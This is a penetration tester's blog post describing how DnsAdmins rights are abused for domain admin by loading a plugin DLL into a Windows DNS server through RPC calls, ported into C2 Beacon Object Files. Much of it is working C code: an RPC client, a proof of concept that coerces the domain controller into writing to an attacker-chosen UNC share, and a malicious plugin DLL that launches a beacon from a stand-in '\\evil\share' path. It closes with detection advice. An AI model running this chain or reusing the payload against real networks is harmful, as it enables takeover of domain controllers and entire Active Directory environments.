            <content:encoded><![CDATA[<p><em>TL;DR: I ported the functionality of </em><em>dnscmd.exe into (slightly) more OPSEC safe Beacon Object Files (BOFs) so you can get domain admin rights when you manage to impersonate a user that is a member of the </em><em>DnsAdmins group; or if using </em><em>dnscmd.exe simply isn’t an option. You can find the full source code </em><a href="https://github.com/Paradoxis/DNSRPC-BOF"><em>here</em></a>!<em> Regarding the process of getting to the final result, everything that could go wrong, did go wrong (and I learned a bunch)! Many thanks to </em><a href="https://visit.suspect.network/"><em>@sud0woodo</em></a><em> and </em><a href="https://cantpwn.com/"><em>@cochaviz</em></a><em> and other unnamed peeps for mental support &amp; reviewing my ramblings/detection rules</em></p><h3>Some Context</h3><p>A couple years ago, when I was doing an internal network penetration test at a client, I stumbled on a user which was a member of the DnsAdmins group. At the time, research by Shay Ber¹ had come out a few years prior showing how you could leverage these rights to gain RCE on a domain controller by loading a custom DLL file via the ServerLevelPluginDll config in the Active Directory Integrated DNS (ADIDNS) server.</p><p>While this research was really cool, it lacked one issue: you had to find a way to restart the DNS server. I tried a bunch of stuff, got nowhere, and moved on with my life since I had domain admin creds to capture and it just wasn’t that practical to abuse at the time.</p><p>A couple years later, I happened to run into the same attack path, and this time as Yuval Gordon from Semperni had cracked the case on how to get the server to restart². As it turns out, Microsoft has an undocumented /restart flag in the dnscmd.exe which just restarts the server and will load your DLL, all by just using the DnsAdmins group!</p><p>So once more, I looked around to find a way to exploit this, but this time had a different issue: on every system we checked, we just couldn’t find a copy of the dnscmd.exe utility installed, and since I didn’t want to pollute our client’s systems by installing optional Windows features, installing it wasn’t really worth doing unless it’s the last resort.</p><p>While I did have a nice C2 channel into the network, using the dnscmd.exe locally on my Windows Pentest VM, the tool just refused to work due to Kerberos and DNS getting in the way. So, yet again, I just gave up and just decided another approach would be faster, and shelved the technique yet again as “cool, but impractical”. This time around however, it left a burning question in my mind:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*Gnu4kTi5kwEgo4bT2uDSTQ.jpeg" /></figure><p>So, I added yet another item to my ever growing pile of stupid project ideas, since at that point we got DA another way and had to get around to finishing that damn report.</p><h3>Back To The Present</h3><p>For some reason, last sunday, I was cleaning the house when for some reason this project idea just popped back into my mind. And since I now have a lot more room for R&amp;D, I just thought, let’s give this a shot! So, monday morning, I got to work setting up a lab.</p><p>As you do, I started with Windows Server 2022, promoted it to a DC, added some test users, and enrolled my other VM where I do my actual research stuff into the domain so DNS and Kerberos would be set up properly. It was at this point when I realized:</p><blockquote>“Oh shit, I forgot to name my domain controller to DC01 ! We wouldn’t want the screenshots looking bad right? I’ll just rename it quickly”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*oCBKZsQkYB0gBMjlGaWqMg.gif" /><figcaption>Every person with any form of Windows sysadmin experience right now</figcaption></figure><p>So I renamed my DC using the normal clicky click menus Microsoft provided me aaand..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xzPX7GJiRiCH7fNdik5Rmw.png" /><figcaption>Yeah I’m an idiot</figcaption></figure><p>After debugging for an hour, I just decided it was faster to just nuke the machine and start over. Looking back I should have taken it as a message from heavenly forces trying to warn me about what kind of a chaotic week I’d have, but hey, I’m stubborn and once I set my mind on something it’s really hard for me to let it go. So, I pressed on.</p><h3>Working Towards a POC</h3><p>At first, I immediately fired up my reverse engineering tool of choice, dragged in the dnscmd.exe binary, at which point I thought:</p><blockquote>“Wait. Wasn’t there something about a technical specification somewhere in the original blog post?”</blockquote><p>So I looked up online if there was any documentation regarding the RPC itself, and as it turns out, yes! Microsoft publicly documents them:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rTOrijFLhyHsz9yn-WRXOA.png" /><figcaption>Thank you Microsoft :)</figcaption></figure><p>After reading through the spec a bit, it quickly dawned on me I had absolutely no clue how to get started on this project, but I just kept Googling around and continued reading up on how to actually work with the MS RPC stuff natively.</p><p>A few code examples, and a few really cool blog posts such as this <a href="https://csandker.io/2021/02/21/Offensive-Windows-IPC-2-RPC.html">really good blog post</a> by <a href="https://twitter.com/0xcsandker">0xcsandker</a> regarding offensive IPC internals on Windows (<em>seriously go read the entire series, it’s amazing)</em>, and I felt comfortable enough to start writing a basic program.</p><p>Since <a href="https://learn.microsoft.com/en-us/windows/win32/rpc/the-idl-file">the Microsoft documentation stated</a> that the first thing you need is an IDL definition file, I set my sights on writing one based off the publicly available spec, at which point I just thought:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*g7L_ukaav8v0OWeP503HOQ.jpeg" /></figure><p>And shortly after force-feeding the entire 600 page technical spec to Claude, I had a nice IDL file which contained the required structures I needed to query basic information from the server using the R_DnssrvQuery2 API call³</p><pre>// The final IDL code is way messier than this<br><br>typedef struct _DNS_ADDR {<br>    char MaxSa[32];<br>    unsigned long DnsAddrUserDword[8];<br>} DNS_ADDR, *PDNS_ADDR;<br><br>typedef struct _DNS_ADDR_ARRAY {<br>    unsigned long MaxCount;<br>    unsigned long AddrCount;<br>    unsigned long Tag;<br>    unsigned short Family;<br>    unsigned short WordReserved;<br>    unsigned long Flags;<br>    unsigned long MatchFlag;<br>    unsigned long Reserved1;<br>    unsigned long Reserved2;<br>    DNS_ADDR AddrArray[];<br>} DNS_ADDR_ARRAY, *PDNS_ADDR_ARRAY;<br><br>typedef struct _DNS_RPC_SERVER_INFO {<br>    unsigned long   dwRpcStructureVersion;<br>    unsigned long   dwReserved0;<br>    unsigned long   dwVersion;<br>    ... (snipped)<br>    unsigned char   fDefaultAgingState;<br>    unsigned char   fReserveArray[15];<br>} DNS_RPC_SERVER_INFO, *PDNS_RPC_SERVER_INFO;<br><br>typedef union _DNSSRV_RPC_UNION {<br>    unsigned char*          Null;<br>    unsigned long           Dword;<br>    char*                   String;<br>    wchar_t*                WideString;<br>    PDNS_RPC_SERVER_INFO    ServerInfo;<br>} DNSSRV_RPC_UNION;<br><br>[<br>    uuid(50abc2a4-574d-40b3-9d66-ee4fd5fba076),<br>    version(5.0),<br>    pointer_default(unique)<br>]<br>interface DnsServer<br>{<br>    long Opnum0();<br>    long Opnum1();<br>    long Opnum2();<br>    long Opnum3();<br>    long Opnum4();<br>    long Opnum5();<br><br>    long R_DnssrvQuery2(<br>        [in]                         handle_t        hBindingHandle,<br>        [in]                         unsigned long   dwClientVersion,<br>        [in]                         unsigned long   dwSettingFlags,<br>        [in, unique, string]         wchar_t*        pwszServerName,<br>        [in, unique, string]         char*           pszZone,<br>        [in, unique, string]         char*           pszOperation,<br>        [out]                        unsigned long*  pdwTypeId,<br>        [out, switch_is(*pdwTypeId)] DNSSRV_RPC_UNION* ppData<br>    );<br>}</pre><p>Then, I just started throwing some stuff together and not too long, I had a working version which I could use to query basic server info:</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;windows.h&gt;<br>#include &lt;rpc.h&gt;<br>#include &quot;dnsrpc.h&quot;<br><br>#pragma comment(lib, &quot;rpcrt4.lib&quot;)<br><br>void print_server_info(PDNS_RPC_SERVER_INFO info)<br>{<br>    wprintf(L&quot;  Server name: %hs\n&quot;,  info-&gt;pszServerName);<br>    wprintf(L&quot;  Version:     0x%08lX\n&quot;, info-&gt;dwVersion);<br>    // ... (snipped)<br>}<br><br>RPC_BINDING_HANDLE create_binding(const wchar_t *server)<br>{<br>    wchar_t binding_str[256];<br>    swprintf_s(binding_str, 256, L&quot;ncacn_ip_tcp:%s&quot;, server);<br><br>    RPC_BINDING_HANDLE handle = NULL;<br>    RPC_STATUS status = RpcBindingFromStringBindingW((RPC_WSTR)binding_str, &amp;handle);<br>    if (status != RPC_S_OK) {<br>        wprintf(L&quot;RpcBindingFromStringBindingW failed: %ld\n&quot;, status);<br>        return NULL;<br>    }<br><br>    status = RpcEpResolveBinding(handle, DnsServer_v5_0_c_ifspec);<br>    if (status != RPC_S_OK) {<br>        wprintf(L&quot;RpcEpResolveBinding failed: %ld\n&quot;, status);<br>        RpcBindingFree(&amp;handle);<br>        return NULL;<br>    }<br><br>    status = RpcBindingSetAuthInfoW(<br>        handle,<br>        NULL,<br>        RPC_C_AUTHN_LEVEL_PKT_INTEGRITY,<br>        RPC_C_AUTHN_GSS_NEGOTIATE,<br>        NULL,<br>        RPC_C_AUTHZ_NAME<br>    );<br><br>    if (status != RPC_S_OK) {<br>        wprintf(L&quot;RpcBindingSetAuthInfoW failed: %ld\n&quot;, status);<br>        RpcBindingFree(&amp;handle);<br>        return NULL;<br>    }<br><br>    return handle;<br>}<br><br>void wmain(int argc, wchar_t *argv[])<br>{<br>    if (argc &lt; 2) {<br>        wprintf(L&quot;Usage: dnsinfo &lt;server&gt;\n&quot;);<br>        return;<br>    }<br><br>    RPC_BINDING_HANDLE handle = create_binding(argv[1]);<br>    if (!handle) {<br>        return;<br>    }<br><br>    unsigned long type_id = 0;<br>    DNSSRV_RPC_UNION data;<br>    memset(&amp;data, 0, sizeof(data));<br><br>    long result = 0;<br><br>    RpcTryExcept<br>    {<br>        result = R_DnssrvQuery2(<br>            handle,<br>            DNS_CLIENT_VERSION_LONGHORN,<br>            0,<br>            argv[1],<br>            NULL,<br>            (unsigned char *)&quot;ServerInfo&quot;,<br>            &amp;type_id,<br>            &amp;data<br>        );<br>    }<br>    RpcExcept(1)<br>    {<br>        wprintf(L&quot;RPC exception: %lu\n&quot;, RpcExceptionCode());<br>        RpcBindingFree(&amp;handle);<br>        return;<br>    }<br>    RpcEndExcept<br><br>    if (result != 0) {<br>        wprintf(L&quot;R_DnssrvQuery2 failed: %ld\n&quot;, result);<br>        RpcBindingFree(&amp;handle);<br>        return;<br>    }<br><br>    wprintf(L&quot;type_id: %lu\n\n&quot;, type_id);<br><br>    if (type_id == DNSSRV_TYPEID_SERVER_INFO) {<br>        wprintf(L&quot;DNS_RPC_SERVER_INFO (Longhorn):\n&quot;);<br>        print_server_info(data.ServerInfo);<br>    } else {<br>        wprintf(L&quot;Unexpected type_id: %lu\n&quot;, type_id);<br>    }<br><br>    RpcBindingFree(&amp;handle);<br>    return;<br>}<br><br>void __RPC_FAR *__RPC_USER MIDL_user_allocate(size_t len)<br>{<br>    return malloc(len);<br>}<br><br>void __RPC_USER MIDL_user_free(void __RPC_FAR *ptr)<br>{<br>    free(ptr);<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WgbFzbVXpaANP-QMU5ZLHg.png" /><figcaption>And it worked!</figcaption></figure><p>Awesome! Now that I had a working hello world, I could use it as a nice starting point for all other RPC calls. All I needed now was to implement:</p><ul><li>The Restart RPC call using DnssrvOperation2 ⁴ (although using DnssrvOperation ⁵would have also worked).</li><li>The ServerLevelPluginDll, which can be called using the same RPC calls.</li></ul><blockquote>Full disclosure, I have no clue which one of the two is actually used by the legit dnscmd.exe , that’s for you network detection engineers to figure out :)</blockquote><p>While these two would let me implement the code I needed, there was still one issue to overcome: which is the fact that this exploit kind of has the tendency to cripple your DNS server if you screw up <em>(and in turn, take down the entire AD if you’re unlucky)</em>. This is primarily caused by the following (documented) behavior:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e7b2ZzARADjLPbX8FAVFXw.png" /><figcaption>Makes sense</figcaption></figure><p>In most cases this will be caused by malware authors (you) writing bad malware that blocks the DnsPluginInitialize ‘s thread, there’s also a slightly more subtle way your plugin can fail to load. Namely, the fact that it’s not a guarantee that the domain controller can reach whatever network share you’ll host your plugin on <em>(a.k.a.: your target actually knows how to firewall a Windows network properly)</em>.</p><p>So, as I was looking through the documentation I noted that there were a couple of RPC calls that caught my eye. The first one was the ZoneExport call which accepts a pszZoneExportFile parameter, which is used to specify the output filename. Unfortunately, this was a dead end since the RPC server just throws everything in C:\Windows\System32\dns\ with no fun way to write outside of the directory. The second call that caught my eye was the LogFilePath which notes that the <em>pData</em> argument to the function call must point to a unicode string that contains an <strong>absolute or relative pathname</strong> or filename for the debug log file on the DNS server.</p><p>This likely also means that a UNC path can be used \\server\share\filename.txt, possibly resulting in an outbound connection to a server / share of our choosing. The only issue here is that while you can configure the path, it won’t write to the file by default since it likely still has it’s original file handle to the debug log file open (or doesn’t have one open in the first place). Luckily, Microsoft added the ClearDebugLog RPC call, which has the following remark:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zQPJawmLe-18A1XwJUEgSQ.png" /><figcaption>Very nice</figcaption></figure><p>This means we should (in theory) be able to tell the domain controller to write a file into a UNC path of our choosing without having to restart the server, and thus not risk a crash before we know with 100% certainty that it can reach the network share.</p><p>This means we can just look for open network shares in the domain with read/write permissions and use that as a test, or set up our own over the public internet <em>(i.e.: using Impacket’s </em><em>smbserver.py if you don’t give a crap about operational security)</em>.</p><p>After a bit of development, I had basic proof of concepts ready that I could use, and as it turns out, my theory about the LogFilePath + ClearDebugLog was correct! Using the following proof of concept let me perform a nice outbound file write, resulting in an empty file:</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;windows.h&gt;<br>#include &lt;rpc.h&gt;<br><br>#include &quot;dnsrpc.h&quot;<br><br>#pragma comment(lib, &quot;rpcrt4.lib&quot;)<br><br>#define DNS_CLIENT_VERSION_LONGHORN 0x00070000<br>#define DNSSRV_TYPEID_NULL          0<br>#define DNSSRV_TYPEID_LPWSTR        3<br><br>RPC_BINDING_HANDLE create_binding(const wchar_t *server)<br>{<br>    wchar_t binding_str[256];<br>    swprintf_s(binding_str, 256, L&quot;ncacn_ip_tcp:%s&quot;, server);<br><br>    RPC_BINDING_HANDLE handle = NULL;<br>    RPC_STATUS status = RpcBindingFromStringBindingW((RPC_WSTR)binding_str, &amp;handle);<br>    if (status != RPC_S_OK) {<br>        wprintf(L&quot;RpcBindingFromStringBindingW failed: %ld\n&quot;, status);<br>        return NULL;<br>    }<br><br>    status = RpcEpResolveBinding(handle, DnsServer_v5_0_c_ifspec);<br>    if (status != RPC_S_OK) {<br>        wprintf(L&quot;RpcEpResolveBinding failed: %ld\n&quot;, status);<br>        RpcBindingFree(&amp;handle);<br>        return NULL;<br>    }<br><br>    status = RpcBindingSetAuthInfoW(<br>        handle,<br>        NULL,<br>        RPC_C_AUTHN_LEVEL_PKT_INTEGRITY,<br>        RPC_C_AUTHN_GSS_NEGOTIATE,<br>        NULL,<br>        RPC_C_AUTHZ_NAME<br>    );<br><br>    if (status != RPC_S_OK) {<br>        wprintf(L&quot;RpcBindingSetAuthInfoW failed: %ld\n&quot;, status);<br>        RpcBindingFree(&amp;handle);<br>        return NULL;<br>    }<br><br>    return handle;<br>}<br><br>void wmain(int argc, wchar_t *argv[])<br>{<br>    if (argc &lt; 3)<br>    {<br>        wprintf(L&quot;Usage: dnslogcoerce &lt;server&gt; &lt;log_path&gt;\n&quot;);<br>        return 1;<br>    }<br><br>    const wchar_t *server = argv[1];<br>    const wchar_t *log_path = argv[2];<br><br>    RPC_BINDING_HANDLE handle = create_binding(server);<br>    if (!handle) {<br>        return 1;<br>    }<br><br>    DNSSRV_RPC_UNION data;<br>    data.WideString = (wchar_t *)log_path;<br><br>    long result = 0;<br><br>    RpcTryExcept<br>    {<br>        result = R_DnssrvOperation2(<br>            handle,<br>            DNS_CLIENT_VERSION_LONGHORN,<br>            0,<br>            server,<br>            NULL,<br>            0,<br>            (unsigned char *)&quot;LogFilePath&quot;,<br>            DNSSRV_TYPEID_LPWSTR,<br>            data<br>        );<br>    }<br>    RpcExcept(1)<br>    {<br>        wprintf(L&quot;RPC exception setting LogFilePath: %lu\n&quot;, RpcExceptionCode());<br>        RpcBindingFree(&amp;handle);<br>        return 1;<br>    }<br>    RpcEndExcept<br><br>    if (result != 0) {<br>        wprintf(L&quot;Failed to set LogFilePath: %ld\n&quot;, result);<br>        RpcBindingFree(&amp;handle);<br>        return 1;<br>    }<br><br>    wprintf(L&quot;LogFilePath set to: %s\n&quot;, log_path);<br>    memset(&amp;data, 0, sizeof(data));<br><br>    RpcTryExcept<br>    {<br>        result = R_DnssrvOperation2(<br>            handle,<br>            DNS_CLIENT_VERSION_LONGHORN,<br>            0,<br>            server,<br>            NULL,<br>            0,<br>            (unsigned char *)&quot;ClearDebugLog&quot;,<br>            DNSSRV_TYPEID_NULL,<br>            data<br>        );<br>    }<br>    RpcExcept(1)<br>    {<br>        wprintf(L&quot;RPC exception triggering ClearDebugLog: %lu\n&quot;, RpcExceptionCode());<br>        RpcBindingFree(&amp;handle);<br>        return 1;<br>    }<br>    RpcEndExcept<br><br>    if (result != 0) {<br>        wprintf(L&quot;ClearDebugLog failed: %ld\n&quot;, result);<br>        RpcBindingFree(&amp;handle);<br>        return 1;<br>    }<br><br>    wprintf(L&quot;ClearDebugLog called, check log file at: %s\n&quot;, log_path);<br><br>    RpcBindingFree(&amp;handle);<br>    return 0;<br>}<br><br>void __RPC_FAR *__RPC_USER MIDL_user_allocate(size_t len)<br>{<br>    return malloc(len);<br>}<br><br>void __RPC_USER MIDL_user_free(void __RPC_FAR *ptr)<br>{<br>    free(ptr);<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2JeIcQky2_Hu2zN_OBqWhg.png" /><figcaption>Triggering the log write</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0U9JxfnO5GZxJLqCCQtlAw.png" /><figcaption>It works!</figcaption></figure><p>I’ll spare you the details of implementing the Restart and the ServerLevelPluginDll as it’s effectively just the same code with different arguments <em>(turns out RPC development is easier than you’d think)</em>. If you want to see the full code, check out the <a href="https://github.com/Paradoxis/DNSRPC-BOF">public repository</a> I’ve created.</p><h3>Porting Everything to BOFs</h3><p>Now over for the fun (and painful) part! Porting everything to Beacon Object Files (BOFs). Since one of my goals was to be able to use a combination of token impersonation, as well as have the ability to basically run the program anywhere, I opted to port the proof of concepts I wrote into BOFs as that lets me use both things anywhere I can get any form of code running.</p><p>I (naively) just started adding the classic MODULE$FunctionName() everywhere using a small API() helper so I could easily compile the programs into regular .exe files as well with a single build flag. I then loaded the BOFs into TrustedSec’s COFFLoader⁶ and quickly came to the realization that this was slightly harder than initially anticipated:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lv2JLhB4R66HO-BGMLiPlg.png" /><figcaption>I’m cooked</figcaption></figure><p>Turns out during development I had been so tunnel-visioned on getting <em>anything</em> working at all that I had forgotten the age-old rule of BOFs: they don’t support native exception handling.</p><p>Unfortunately for me, Microsoft decided that RPC API’s make use of RpcTryExcept ⁷ which under the hood calls RaiseException ⁸ for control flow / returning error codes to users. This also means that if you remove these handlers and an RPC call fails (i.e.: you used a user’s token that is no longer valid, or they are not a member of DnsAdmins) the system raises an exception with code 5 (access denied) and your beacon implodes and you can wave access to your machine goodbye.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*ADvtrhKfDfUat5WdkcThwg.jpeg" /><figcaption>My reaction after running the COFFLoader</figcaption></figure><p>At this point there were a couple options I could think of:</p><ul><li><strong>Ditch the idea of BOFs and turn it into a DLL instead </strong>— This could just mean adding support for Sliver and calling it a day (if you want to read how: <a href="https://blog.paradoxis.nl/writing-sliver-c2-extensions-in-rust-a95f620266de">boy do I happen to have the blog post for you</a>). The downside here is that you basically exclude every other C2 framework out there.</li><li><strong>Just build standalone CLI’s and implement token impersonation into them </strong>— I wasn’t a big fan of this given that it’s hella OPSEC unsafe, and dropping random .exe’s everywhere just isn’t the classiest thing to do in a customer’s network.</li><li>A<strong>dd (hacky) support for exception handling to the BOF </strong>— By far the stupidest, most time-intensive option. No sane person would pick this and just opt to use another approach.</li></ul><h3>Adding Exception Handling to BOFs</h3><p>Naturally, I picked the most masochistic option. I’m here to get BOFs working and I’m stubborn enough to die trying. My first approach was to use setjmp ⁹ , store the original context somewhere, hook RaiseException and then use longjmp ¹⁰, to jump back to the original location.</p><p>I also came to the realization that I could use this to then also just capture the exception code, but I had to somehow store both the old context and the return value somewhere in a predictable location.</p><p>After a bit of brainstorming with my trusted LLM it turns out that you can use the current TEB’s (Thread Environment Block) ¹¹ ArbitraryUserPointer for this. While this ins’t per-se the intended use of the ArbitraryUserPointer ¹² it could work for this particular case, and I just decided to go with it.</p><blockquote>Note that I am fully aware that hooking the global exception function isn’t the smartest thing to do, but hey rather have it sort of work than not work at all. If you have a better solution I’d be happy to hear it. ¯\_(ツ)_/¯</blockquote><p>Eventually I was left with code that worked about so:</p><ul><li>Create a wrapper function for RPC calls (i.e.: R_DnssrvOperation2 -&gt; dnsrpc_query_server_info ) which sets up a context object and passes R_DnssrvOperation2 to dnsrpc_call .</li><li>The dnsrpc_call function then hooks the RtlRaiseException, and does it’s best to preserve the current context information using setjmp and stores all of this information in the TEB’s ArbitraryUserPointer</li><li>We then pray to the gods and call the function provided by dnsrpc_query_server_info</li><li>If an error occurs, we extract the exception code from the EXCEPTION_RECORD which should be passed to our detour, and try to jump back using longjmp .</li><li>If no error occurs, or if we jump back, we just continue on, unhook everything again, clear up the ArbitraryUserPointer and act like we were never there to begin with.</li></ul><p>I’d show the actual code but I was too laser-focussed on making a backup of the working copy that I only took screenshots since I actually didn’t ever expect this to work in the first place <em>(I also have a secondary reason why but you’ll find out about that one later)</em>. Alas, I passed the newly updated BOF into the COFFLoader:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9KYioLzDCBai7RfGZCQ0ZA.png" /><figcaption>Gottem!</figcaption></figure><p>Very nice! Now for the real test, I decided to spin up a local Sliver stack since it’s the easiest to set up, dropped an implant, created an extension.json and tried out the extension code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_fb_7qPBqJ-6fnJoYORwew.png" /><figcaption>That’s never a good sign</figcaption></figure><p>It was at this point that I though this could actually have been related to token impersonation and I wondered “Does this even work with impersonation in the first place?” Like mentioned earlier, I had been so preoccupied with just getting anything working at all I just neglected checking if token impersonation worked as well (which is kind of the whole point of this project).</p><p>So I went back to my dev environment and used a self-written quick and dirty impersonate.exe to pop a shell under a second account I created, just to run into <em>even more</em> weird behavior where the RPC connection would just not work despite having the same user token and Kerberos tickets:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C2Su7fYHi3HZ5YBeageFhw.png" /><figcaption>Leftmost terminal created with CreateProcessWithTokenW, the right with `runas`</figcaption></figure><p>To make this even more confusing:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JSJf7U1BEb8s7C72Dhlwkw.png" /><figcaption>Wait what? DNS is broken in my terminal created with CreateProcessWithTokenW but not the other??</figcaption></figure><p>Turns out that my entire network stack, for some strange reason would just not work inside of the process I created using token impersonation.</p><p>At this point I was beyond confused and just could not figure out what in the world I was doing wrong. I reached out to some people with pretty good knowledge of Windows internals and was met with the following response:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*4TQTmwGu88njiyRs8dnPgg.png" /><figcaption>Welp shit</figcaption></figure><p>Eventually I thought it could be related to cmd.exe somehow, so I tried launching PowerShell, which gave me even more weird errors <em>(note that at this point I had been stuck for multiple hours just trying to debug WTF was going on)</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eQ85T5bN93_Pi_f2u-VjEQ.png" /><figcaption>????</figcaption></figure><p>While I was kind of extremely confused, this error turns out to be the exact break I needed, as it led me to finding a blog post by Gee Law ¹³ which documents that this exact behavior is caused by mixing user’s environment blocks.</p><p>Since my program first elevated to SYSTEM, then called CreateEnvironmentBlock with inherit set to true , and only then creating a process with the token of the other user, it would result in an invalid environment being passed to the process, resulting in a broken networking stack. As it turns out, just passing NULL to the lpEnvironment of CreateProcessWithTokenW just fixed the issue, so I went back to debugging the actual project I was working on.</p><p>In hindsight, attaching a debugger to my implant before running the BOF would have been the smartest choice, as it revealed the root cause immediately: namely, that my naive longjmp might not have been as stable as I initially hoped.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8wqFKTulS52RXpZUmXFViA.png" /><figcaption>Oh lord</figcaption></figure><p>At this point I was out of ideas so just decided to ask Claude for some good alternative ideas, at which point the LLM spat out that RtlCaptureContext ¹⁴ and RtlRestoreContext ¹⁵ may actually do what I want. Unfortunately, the official documentation on these two functions is pretty poor, but Mr LLM man gave the following explanation as to how they differ, so take this (potentially hallucinated) answer with a grain of salt:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8k4uFJhlnQtvZnmpB13ROA.png" /><figcaption>I mean, makes sense based on the name</figcaption></figure><p>So I just switched out my setjmp and longjmp calls with RtlCaptureContext and RtlRestoreContext and tried running the code again and ran into the issue that it now would call RtlRaiseNoncontinuableException which was solved by just also hooking that function as well. Then, when running the BOF again in Sliver:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RjcaQYKOZG69QlAofNnAug.png" /><figcaption>It works (with impersonation)!</figcaption></figure><p>Success! All that was left was to port the rest of the code, create a sample payload, and was left with this beautiful attack chain. So I recompiled the code, deleted the old extension, reinstalled the new one and.. wait..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*PNAfOM4Std-pdsm5_lo5BQ.png" /><figcaption>where did my code go?</figcaption></figure><p>Yeah as it turns out when you remove an extension in sliver and it asks you to clean it up from disk, it doesn’t mean <em>“remove the extension binary”</em>, it just deletes <strong>everything</strong> in the directory the extension.json is contained in. In my case, that was the root of my project, hence <strong>Sliver just performed a nuke from orbit on my entire codebase.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*_fAfSo_h4JrdkSCJSWepxw.jpeg" /><figcaption>Thank you BishopFox, very nice</figcaption></figure><p>Luckily I had pushed a copy of the code to Git when I started work in the morning as I had to transfer it from my Windows development box to my Linux development box, meaning only about 4 ish hours of work went down the drain, of which most were spent debugging. So all things considered, it could have ended up a lot worse.</p><blockquote>If anyone from BishopFox is reading this, I’ll accept a nice bottle of whiskey for the pain and suffering that has been inflicted upon me.</blockquote><p>Anyhow, after re-writing the same code I did before, I compiled the code, <em>safely backed up the code before loading the extension into Sliver this tim</em>e, set up the SMB server and tested the full chain:</p><pre>#include &lt;windows.h&gt;<br><br>BOOL APIENTRY DllMain( <br> HMODULE module,<br> DWORD  reason_for_call,<br> LPVOID reserved<br>) {<br>    return TRUE;<br>}<br><br>DWORD WINAPI spawn(LPVOID lpParam)<br>{<br>    STARTUPINFOW si;<br>    PROCESS_INFORMATION pi;<br><br>    ZeroMemory(&amp;si, sizeof(si));<br>    si.cb = sizeof(si);<br>    ZeroMemory(&amp;pi, sizeof(pi));<br><br>    if (CreateProcessW(<br>        L&quot;\\evil\\share\\beacon.exe&quot;, // opsec be damned<br>        NULL,<br>        NULL,<br>        NULL,<br>        FALSE,<br>        0,<br>        NULL,<br>        NULL,<br>        &amp;si,<br>        &amp;pi<br>    )) {<br>        WaitForSingleObject(pi.hProcess, INFINITE);<br>        CloseHandle(pi.hProcess);<br>        CloseHandle(pi.hThread);<br>    }<br><br>    return 0;<br>}<br><br>__declspec(dllexport) <br>DWORD WINAPI DnsPluginInitialize(<br>    PVOID pDnsAllocateFunction,<br>    PVOID pDnsFreeFunction<br>) {<br>    HANDLE handle = CreateThread(NULL, 0, spawn, NULL, 0, NULL);<br>    if (handle != NULL) {<br>        CloseHandle(handle);<br>    }<br><br>    return ERROR_SUCCESS;<br>}<br><br>__declspec(dllexport)<br>DWORD WINAPI DnsPluginCleanup()<br>{<br>    return ERROR_SUCCESS;<br>}<br><br>__declspec(dllexport)<br>DWORD WINAPI DnsPluginQuery(<br>    PSTR pszQueryName,<br>    WORD wQueryType,<br>    PSTR pszRecordOwnerName,<br>    PVOID ppDnsRecordListHead<br>) {<br>    return ERROR_SUCCESS;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X2O8OyCBpDAJ4yAajaDMPA.png" /><figcaption>Testing that the DC can reach my SMB share</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3vOoHWgW15rMNUN_S0xNNQ.png" /><figcaption>Setting the plugin DLL, triggering the restart and cleaning up after the beacon is returned</figcaption></figure><p>And that’s about it! As you can see in the screenshot, I added one more BOF which is used to clean up any artifacts left behind on the DC, although you can always just do this manually after getting DA. Since if you forget to remove these keys you run the risk of still crippling the domain later on after you’ve cleaned up the DLL from disk.</p><h3>Wrapping Up</h3><p>So in conclusion, yes, it is technically possible to use token impersonation to abuse the DnsAdmins edge, and perform exception handling in BOFs! It’s not the most elegant way but if you really have no other option this method can work. I also found it quite fun to play around with the RPC itself and might do some more digging into the protocol, but that’s a project for later. You can find the full source code on my GitHub:</p><blockquote><a href="https://github.com/Paradoxis/DNSRPC-BOF">https://github.com/Paradoxis/DNSRPC-BOF</a></blockquote><h3>Detection</h3><p>As with any offensive blog post, it’s good form to include ways you can detect if this attack is being performed, or if you have been compromised this way.</p><p>The easiest and most straightforward method is to look for remnants of active exploitation on the domain controller. If attackers are sloppy and don’t clean up after themselves, you’ll find the following on the domain controller:</p><pre>HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ServerLevelPluginDll<br>HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\LogFilePath</pre><p>In addition to this, exploitation of the Restart RPC call can be observed in the domain controller’s event log by looking for event ID 7031 with the first parameter set to DNS Server under System logs:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LePom6c8qc7FZaZ7GFUq0w.png" /><figcaption>Event produced by restarting the server</figcaption></figure><p>In addition to this, loading the plugin DLL will result in event ID 770 under the DNS Server log tabs in event viewer which contains the target DLL path in the first parameter:</p><figure><img alt="" 